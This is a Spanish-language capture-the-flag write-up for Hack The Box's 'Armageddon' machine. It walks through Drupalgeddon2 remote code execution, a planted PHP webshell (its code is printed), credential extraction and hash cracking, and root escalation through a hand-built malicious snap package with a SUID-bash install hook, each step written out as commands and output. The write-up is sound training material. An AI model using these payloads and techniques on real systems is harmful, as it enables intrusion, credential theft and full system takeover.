Armageddon

Hack The Box — Metodología Detallada

Armageddon

IP:10.129.48.89
OS:Linux
Dificultad:Easy
Fecha:14 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.48.89 -oG allPorts

# Output
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Luego de realizar el escaneo de puertos se encontró el puerto 22 (SSH) y puerto 80 (HTTP) abiertos. Se procedió a realizar un escaneo de versiones para determinar el vector principal de ataque.

# Escaneo de versiones
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to  Armageddon |  Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

Hallazgo: en el puerto 80 (HTTP) se identificó que el servicio Apache tiene expuesto el archivo robots.txt, donde se muestran diversos archivos sensibles, como por ejemplo CHANGELOG.txt, al cual se accedió directamente desde el navegador para revisar su contenido.

Página web principal

Versión del servicio Drupal

Se identificó que detrás de Apache corre el servicio Drupal, en su versión 7.56, siendo esta vulnerable. Se procedió a buscar el exploit correspondiente a dicha versión de Drupal.

Enumeración

Enumeración de directorios y archivos

Se realizó un escaneo de directorios y archivos con feroxbuster para enumerar la estructura completa del sitio.

feroxbuster -u http://10.129.48.89/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt -x txt,php

Hallazgo: el escaneo devolvió cientos de rutas correspondientes a la estructura estándar del núcleo de Drupal 7 (modules/, themes/, includes/, profiles/, scripts/), confirmando que se trata de una instalación de Drupal sin modificaciones aparentes en su estructura de archivos públicos. De todo el listado, los archivos con mayor valor para la enumeración fueron:

::: center Ruta Relevancia


/CHANGELOG.txt Confirma versión exacta de Drupal /UPGRADE.txt Información de versiones soportadas /install.php Posible reinstalación / reset /xmlrpc.php Vector histórico de ataques XML-RPC /sites/default/default.settings.php Plantilla de configuración /scripts/password-hash.sh Script nativo para generar hashes Drupal :::

El resto de rutas encontradas (más de 400) correspondían a archivos propios del código fuente público de Drupal 7 (JS, CSS, módulos core, tests unitarios), sin relevancia directa para la explotación.

Búsqueda del exploit correcto para Drupal 7

Hipótesis: confirmada la versión Drupal 7.56 mediante CHANGELOG.txt, se buscó inicialmente con searchsploit, encontrando únicamente variantes de Drupalgeddon3, las cuales requieren autenticación previa — no viable sin credenciales.

searchsploit drupal 7.56

Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)

Corrección: se identificó que existe una variante distinta y más conocida, Drupalgeddon2 (CVE-2018-7600, SA-CORE-2018-002), que no requiere autenticación previa, al explotar el sistema de formularios (Form API) de Drupal mediante manipulación de parámetros.

searchsploit drupalgeddon2

Drupal < 7.58 / < 8.3.9 / ... - 'Drupalgeddon2' RCE          | php/webapps/44449.rb
Drupal < 8.3.9 / ... - 'Drupalgeddon2' RCE (Metasploit)      | php/remote/44482.rb
Drupal < 8.3.9 / ... - 'Drupalgeddon2' RCE (PoC)             | php/webapps/44448.py

Intento fallido con PoC en Python (44448.py)

Se probó primero el PoC en Python por ser más liviano que el módulo de Metasploit:

python3 44448.py http://10.129.48.89/
Not exploitable

Porqué no funcionó: al revisar el código fuente del script, se identificó que la ruta y el payload utilizados (user/register?element_parents=account/mail/%23value...) corresponden específicamente a la sintaxis del sistema de formularios de Drupal 8, no de Drupal 7. El objetivo de esta máquina corre Drupal 7.56, por lo que el script atacaba un endpoint incorrecto para esta versión, fallando de forma silenciosa.

Explotación

Explotación con el script Ruby (44449.rb)

Se utilizó en su lugar el exploit en Ruby, el cual sí incluye lógica específica para Drupal 7.x (uso del elemento name con #post_render sobre el formulario user/password, en lugar del método usado para Drupal 8).

ruby 44449.rb http://10.129.48.89

[+] Found  : http://10.129.48.89/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56

[*] Testing: Form   (user/password)
[+] Result : Form valid

[*] Testing: Code Execution   (Method: name)
[+] Result : MLDGULTF
[+] Good News Everyone! Target seems to be exploitable (Code execution)!

Por qué funcionó: el script detectó automáticamente la versión de Drupal (7.56) y aplicó el método de explotación correcto para esa rama (name, #post_render, formulario user/password), confirmando ejecución de código remota al reflejar de vuelta un string aleatorio generado por el propio script como prueba (echo MLDGULTF).

Escritura de webshell en el webroot

Tras confirmar RCE, el script intentó automáticamente escribir un webshell PHP directamente en la raíz del sitio:

[*] Testing: Writing To Web Root   (./)
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!

Fake PHP shell:   curl 'http://10.129.48.89/shell.php' -d 'c=hostname'

Hallazgo: el script codificó el contenido del webshell en base64 y lo decodificó directamente en el servidor víctima mediante el mismo RCE (echo <base64> | base64 -d | tee shell.php), confirmando que el usuario bajo el cual corre Apache tiene permisos de escritura sobre el webroot. El webshell resultante (shell.php) acepta comandos arbitrarios vía el parámetro c, otorgando ejecución de comandos persistente sin depender del propio exploit en cada interacción.

El script dejó además una consola interactiva propia conectada al webshell:

armageddon.htb>> ls
CHANGELOG.txt
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
shell.php
sites
themes
update.php
web.config
xmlrpc.php

Resultado: se confirmó ejecución de comandos como el usuario bajo el cual corre el servicio web, con acceso completo al sistema de archivos del webroot de Drupal.

Escalada de Privilegios

Obtención de credenciales de sistema

Estando ya con acceso al webshell como apache, se buscó el archivo de configuración de Drupal en busca de credenciales de base de datos, ya que Drupal necesita conectarse a MySQL para funcionar.

cat sites/default/settings.php

'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',

Hallazgo: se obtuvieron credenciales válidas de MySQL. Se verificó qué usuarios del sistema operativo tenían shell interactiva asignada, para evaluar reutilización de contraseñas:

cat /etc/passwd | grep -E "sh$"

root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash

Crackeo del hash de brucetherealadmin

En lugar de intentar la contraseña de MySQL directamente contra SSH, se consultó la tabla users de la base de datos Drupal, obteniendo el hash de contraseña del usuario brucetherealadmin:

brucetherealadmin: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

Porqué no funcionó (primer intento): al guardar el hash con echo usando comillas dobles, bash interpretó cada $ dentro del string como inicio de una variable de entorno, corrompiendo el hash antes de guardarlo:

echo "$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt" >> user.txt

Porqué funcionó: se corrigió usando comillas simples, que en bash preservan el texto literal sin expandir variables:

echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash.txt

El prefijo $S$ corresponde al formato de hashing propio de Drupal 7 (variante de SHA-512). Se crackeó especificando el formato correcto en john:

john hash.txt --format=drupal7 --wordlist=/usr/share/seclists/
Passwords/Leaked-Databases/rockyou.txt

booboo           (?)
1g 0:00:00:00 DONE

Resultado: contraseña obtenida: booboo. Se confirmó acceso interactivo por SSH:

ssh [email protected]
Password: booboo

[brucetherealadmin@armageddon ~]$ sudo -l
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *

Investigación — Snap y escalada vía hook de instalación

Investigación: Snap es un sistema de gestión de paquetes universal (creado por Canonical) que permite que un mismo paquete .snap funcione en distintas distribuciones Linux. Cada paquete puede incluir hooks: scripts que se ejecutan automáticamente en momentos específicos del ciclo de vida del paquete (instalación, configuración, eliminación). Como el comando snap install en sí corre como root (vía sudo sin contraseña), cualquier hook definido dentro del paquete también se ejecuta como root.

Se verificó la versión de snap instalada para descartar exploits públicos conocidos:

snap version
snap    2.47.1-1.el7
snapd   2.47.1-1.el7

Porqué no aplicó dirty_sock: el exploit público dirty_sock afecta versiones de snapd < 2.37. La versión de esta máquina (2.47.1) es posterior, por lo que se descartó ese exploit y se optó por construir manualmente un paquete .snap malicioso con un hook de instalación propio, aprovechando directamente el permiso NOPASSWD sobre snap install * (sin depender de una vulnerabilidad de software).

Construcción del paquete .snap malicioso

Un archivo .snap es, en esencia, un sistema de archivos tipo squashfs. Se construyó manualmente sin depender de la herramienta completa snapcraft, usando mksquashfs (paquete squashfs-tools) directamente sobre una estructura mínima:

mkdir -p evil/meta/hooks
cd evil

cat > meta/snap.yaml << 'EOF'
name: evil
version: 1.0
summary: evil
description: evil
architectures: [amd64]
confinement: devmode
grade: devel
EOF

cat > meta/hooks/install << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x meta/hooks/install

cd ..
mksquashfs evil evil.snap -noappend -all-root

Primer intento — fallo por sistema de archivos de solo lectura

sudo /usr/bin/snap install evil.snap --devmode --dangerous

error: cannot perform the following tasks:
- Run install hook of "evil" snap (run hook "install":
chmod: changing permissions of '/bin/bash': Read-only file system)

Porqué no funcionó: el hook se ejecutó correctamente como root (confirmando que el mecanismo era válido), pero / está montado en modo solo lectura, impidiendo modificar /bin/bash directamente.

Segundo intento — reinstalación silenciosa sin ejecutar el hook

Se modificó el hook para copiar bash a /tmp en lugar de modificar el binario original:

cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

Sin embargo, al reinstalar el paquete (mismo name y version que el intento anterior), Snap reportó "evil 1.0 installed" sin ejecutar el hook, y /tmp/rootbash nunca se creó.

Porqué no funcionó: Snap trata un paquete con el mismo nombre y versión que uno ya "instalado" como una operación redundante, sin volver a disparar el hook de instalación.

Corrección: se cambió el nombre y versión del paquete (evilv2, versión 2.0) para forzar una instalación reconocida como nueva. Aun así, /tmp/rootbash no se creó, a pesar de no mostrar ningún error esta vez.

Diagnóstico — confirmación de ejecución del hook

Para descartar que el problema fuera el mecanismo de hooks en general (y no específico de /tmp), se construyó un paquete de prueba mínimo que solo escribiera un marcador en el home del usuario:

#!/bin/bash
echo "hook ejecutado" > /home/brucetherealadmin/marker.txt
id >> /home/brucetherealadmin/marker.txt

cat /home/brucetherealadmin/marker.txt
hook ejecutado
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0

Hallazgo: el hook sí se ejecuta correctamente como root. El problema era específico de /tmp (posiblemente sujeto a la misma restricción de solo lectura o alguna política SELinux que impide crear archivos ahí mediante este mecanismo), no del mecanismo de hooks en sí.

Ejecución exitosa — escritura en el home del usuario

Se redirigió el hook para escribir directamente en el directorio home de brucetherealadmin (ya confirmado como escribible):

#!/bin/bash
cp /bin/bash /home/brucetherealadmin/rootbash
chmod +s /home/brucetherealadmin/rootbash

sudo /usr/bin/snap install evil5.snap --devmode --dangerous
evilv5 5.0 installed

ls -la /home/brucetherealadmin/rootbash
-rwsr-sr-x. 1 root root 1037528 Jul 14 07:42 rootbash

/home/brucetherealadmin/rootbash -p
rootbash-4.3# whoami
root
rootbash-4.3# cat /root/root.txt
0eefadb80a46*************a4412da

Por qué funcionó: al copiar /bin/bash a una ruta escribible (el home del usuario, en lugar de / o /tmp) y asignarle el bit SUID mediante el hook de instalación ejecutado como root, se obtuvo un binario bash que, al ejecutarse con la flag -p (preservando privilegios efectivos), otorga una shell interactiva con privilegios de root sin necesidad de contraseña adicional.

Reflexión Final

Qué salió bien

Qué salió mal o costó más

Lecciones aprendidas

Tiempo total

Tiempo total invertido en la resolución de la máquina: aproximadamente 2 horas, con la mayor parte del tiempo concentrada en depurar la escalada de privilegios vía Snap.